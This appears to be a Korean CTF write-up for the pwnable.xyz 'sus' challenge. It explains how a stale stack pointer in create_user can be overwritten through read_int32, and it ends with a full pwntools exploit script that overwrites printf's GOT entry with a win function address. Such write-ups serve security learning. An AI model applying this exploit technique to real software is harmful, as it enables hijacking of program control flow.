pwn/pwnable.xyz

pwnable.xyz / sus

lok2h4rd 2022. 5. 14. 13:49

스택을 잘못써서 참조하는 주소를 덮을 수 있다

 

mitigation

 

 

user를 생성해서 이름과 나이를 입력 받고 이를 출력하고 수정할 수 있는 기능이 있다

출력 및 수정 기능은 user가 생성되었을 때만 가능하다

 

 

  1. create_user
    • 0x1060만큼 스택을 뽑고 거기에 0x20 데이터를 쓴다
    • cur에 힙 주소가 저장된 스택 주소를 저장한다
  2. edit user
    • 0x1028만큼 스택을 뽑는다 cur에 저장된 스택 주소에 있는 힙주소에 이름을 적는다
    • read_int32를 호출해서 나이를 입력 받는다
  3. read_int32
    • 0x30을 뽑아서 0x20데이터를 쓰고 atoi로 숫자로 변환해 리턴한다

위 내용은 문제 풀때 짤막하게 정리해놓은 내용이다

핵심은 create_user에서 스택을 0x1060 뺀 위치에 힙주소를 저장하는데 해당 주소를 참조해서 이름을 적게 된다

근데 edit_user에서 0x1028만큼 스택을 빼주고 read_int32를 호출해서 나이를 입력 받을 때 해당 힙주소를 덮을 수 있다

 

 

flag

그래서 유저 생성하고 edit에서 got주소로 힙 주소가 있는 스택을 덮고 다시 edit에서 이름을 받을때 win함수로 주면 된다

 

from pwn import *

p = process("./sus")
e = ELF("./sus")

printf_got = e.got['printf']
win = 0x400b71

def create(name = b"AAA", age = b"123"):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    name_age(name, age)

def edit(name, age):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    name_age(name, age)

def name_age(name, age):
    p.recvuntil(b"Name: ")
    p.sendline(name)
    p.recvuntil(b"Age: ")
    p.sendline(age)
 
create()

payload = b"A" * 0x10
payload +=  p64(printf_got)
edit(b"AAA", payload)

p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"Name: ")
p.sendline(p64(win))

p.interactive()